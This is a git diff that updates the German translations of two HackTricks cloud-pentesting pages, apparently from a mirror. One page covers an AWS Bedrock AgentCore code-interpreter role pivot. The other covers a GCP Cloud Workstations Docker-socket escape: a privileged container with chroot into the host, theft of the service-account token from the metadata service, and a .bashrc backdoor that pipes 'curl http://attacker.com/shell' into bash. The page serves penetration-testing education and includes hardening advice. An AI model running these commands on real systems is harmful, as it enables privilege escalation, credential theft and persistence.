mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
Der AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, das „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“.
|
||||
AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einer **`executionRoleArn`** konfiguriert werden, die „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“.
|
||||
|
||||
Wenn ein **IAM-Principal mit geringeren Rechten** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten Execution-Rolle** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der Execution-Rolle pivoten** (lateral movement / privilege escalation abhängig vom Umfang der Rolle).
|
||||
Wenn ein **lower-privileged IAM principal** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **privilegierteren execution role** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der execution role pivoten** (lateral movement / privilege escalation, je nach Umfang der Rolle).
|
||||
|
||||
> [!NOTE]
|
||||
> Dies ist typischerweise ein **Fehlkonfiguration / übermäßige Berechtigungen**-Problem (zu weite Rechte für die Interpreter-Execution-Rolle und/oder zu breite Invoke-Rechte).
|
||||
> AWS warnt explizit davor, Privilegieneskalation zu vermeiden, indem Execution-Rollen **gleich viele oder weniger** Rechte haben als die Identitäten, denen Invoke erlaubt ist.
|
||||
> Dies ist typischerweise ein **misconfiguration / excessive permissions**-Problem (z. B. weitreichende Berechtigungen für die interpreter execution role und/oder breite Invoke-Rechte).
|
||||
> AWS warnt ausdrücklich davor, Privilege Escalation zu vermeiden, indem execution roles **gleich oder weniger** Berechtigungen haben als die Identitäten, die zum Invoke berechtigt sind.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Ein **custom code interpreter** existiert mit einer überprivilegierten **Execution-Rolle** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten).
|
||||
- Ein Benutzer (Entwickler/Auditor/CI-Identität) hat Berechtigungen für:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach organisatorischen Richtlinien einen neuen Interpreter mit einer Execution-Rolle zu erstellen).
|
||||
- Ein **custom code interpreter** existiert mit einer überprivilegierten **execution role** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten).
|
||||
- Ein Benutzer (developer/auditor/CI identity) hat Berechtigungen für:
|
||||
- Sessions starten: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- Tools aufrufen: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach org guardrails, einen neuen Interpreter zu erstellen, der mit einer execution role konfiguriert ist).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Interpreter auflisten (control-plane) und deren Konfiguration prüfen:
|
||||
Liste Interpreter (control-plane) und untersuche ihre Konfiguration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, das definiert, welche AWS-Berechtigungen der Interpreter haben wird.
|
||||
> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird.
|
||||
|
||||
#### Schritt 1 - Eine Session starten (dies gibt eine `sessionId` zurück, not an interactive shell)
|
||||
#### Schritt 1 - Sitzung starten (dies gibt eine `sessionId` zurück, keine interaktive Shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signed HTTPS)
|
||||
#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signiertes HTTPS)
|
||||
|
||||
Es gibt **keine interaktive python-Shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**.
|
||||
Es gibt **keine interaktive Python-Shell** durch `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**.
|
||||
|
||||
**Option A - Boto3 Beispiel (Python ausführen + Identität prüfen):**
|
||||
**Option A - Boto3-Beispiel (Python ausführen + Identität überprüfen):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,7 +68,7 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des niedrig privilegierten Aufrufers), was den Pivot demonstriert.
|
||||
Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht den low-priv caller) und damit den Pivot demonstrieren.
|
||||
|
||||
**Option B - Signierter HTTPS-Aufruf (awscurl):**
|
||||
```bash
|
||||
@@ -89,18 +89,18 @@ awscurl -X POST \
|
||||
```
|
||||
#### Auswirkungen
|
||||
|
||||
* **Lateral movement** in jeden AWS-Zugriff, den die interpreter execution role hat.
|
||||
* **Privilege escalation** wenn die interpreter execution role privilegierter ist als der Aufrufer.
|
||||
* Schwerer zu erkennen, wenn CloudTrail data events für interpreter-Aufrufe nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise standardmäßig nicht protokolliert).
|
||||
* **Lateral movement** in jeglichen AWS-Zugriff, den die interpreter execution role hat.
|
||||
* **Privilege escalation** wenn die interpreter execution role mehr Berechtigungen hat als der Aufrufer.
|
||||
* Schwerer zu erkennen, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise nicht standardmäßig protokolliert).
|
||||
|
||||
#### Gegenmaßnahmen / Härtung
|
||||
|
||||
* **Least privilege** auf der interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sitzungen starten kann.
|
||||
* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Org-Ebene kann notwendig sein).
|
||||
* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten Aufrufen und bei Erstellung von Sessions.
|
||||
* **Least privilege** für die interpreter `executionRoleArn` (behandle diese wie Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sessions starten kann.
|
||||
* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Organisationsebene kann notwendig sein).
|
||||
* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo zutreffend; alarmiere bei unerwarteten Aufrufen und Session-Erstellungen.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
|
||||
@@ -3,20 +3,20 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Der primäre Pfad zur Privilegieneskalation in Cloud Workstations ergibt sich aus der Anforderung, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration den Docker-Socket mountet oder privileged containers erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die darunterliegende Compute Engine VM entkommen und dessen service account token stehlen.
|
||||
Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Notwendigkeit, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration das Docker socket einbindet oder privilegierte Container erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das Service-Account-Token stehlen.
|
||||
|
||||
**Voraussetzungen:**
|
||||
- Zugriff auf ein Cloud Workstation-Terminal (via SSH, compromised session, or stolen credentials)
|
||||
- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privileged containers aktivieren
|
||||
- Zugriff auf ein Cloud Workstation-Terminal (per SSH, kompromittierte Sitzung oder gestohlene Anmeldedaten)
|
||||
- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privilegierte Container erlauben
|
||||
|
||||
**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Der Docker-Socket gibt direkten Zugriff auf die Container-Runtime des Hosts.
|
||||
**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Das Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts.
|
||||
|
||||
> [!NOTE]
|
||||
> Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und bringt dich in eine root shell auf der Host-VM.
|
||||
> Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und öffnet eine root shell auf der Host-VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schritt 1: Auf Docker socket prüfen</summary>
|
||||
<summary>Schritt 1: Überprüfen auf Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -28,9 +28,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>Schritt 2: Escape to the host VM filesystem</summary>
|
||||
|
||||
Wir starten einen privileged container und mounten das Host-root directory nach `/mnt/host`. Außerdem teilen wir das Host-network und die PID namespace, um die Sichtbarkeit zu maximieren.
|
||||
|
||||
</details>
|
||||
Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und den PID namespace des Hosts, um die Sichtbarkeit zu maximieren.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -40,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Sie haben jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
|
||||
Du hast jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schritt 3: VM service account token aus IMDS stehlen</summary>
|
||||
<summary>Schritt 3: Steal the VM service account token from IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -63,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Überprüfen Sie die Scopes!**
|
||||
> Auch wenn das angehängte Service Account **Editor** ist, kann die VM durch Access-Scopes eingeschränkt sein.
|
||||
> Wenn Sie `https://www.googleapis.com/auth/cloud-platform` sehen, haben Sie vollen Zugriff.
|
||||
> Wenn Sie nur `logging.write` und `monitoring.write` sehen, sind Sie auf die untenstehenden Vektoren **Network Pivot** und **Persistence** beschränkt.
|
||||
> **Prüfe die Scopes!**
|
||||
> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch access scopes eingeschränkt sein.
|
||||
> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollständigen Zugriff.
|
||||
> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die **Network Pivot**- und **Persistence**-Vektoren weiter unten beschränkt.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schritt 4: Erreiche Persistence (Backdoor the User)</summary>
|
||||
<summary>Schritt 4: Persistence erreichen (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations mounten ein persistentes Laufwerk unter `/home/user`. Da der Container-Benutzer (gewöhnlich `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, können Sie in das Home-Verzeichnis des Hosts schreiben. Dadurch können Sie die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird.
|
||||
Cloud Workstations binden einen persistenten Datenträger unter `/home/user` ein. Da der Container-Benutzer (normalerweise `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Damit kannst du die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schritt 5: Network Pivot (Internal VPC Access)</summary>
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Da du das host network namespace (`--net=host`) teilst, bist du jetzt ein trusted node im VPC. Du kannst nach internen Services scannen, die Zugriff auf Basis von IP whitelisting erlauben.
|
||||
Da Sie den Host-Netzwerk-Namensraum (`--net=host`) teilen, sind Sie jetzt ein vertrauenswürdiger Knoten im VPC. Sie können nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user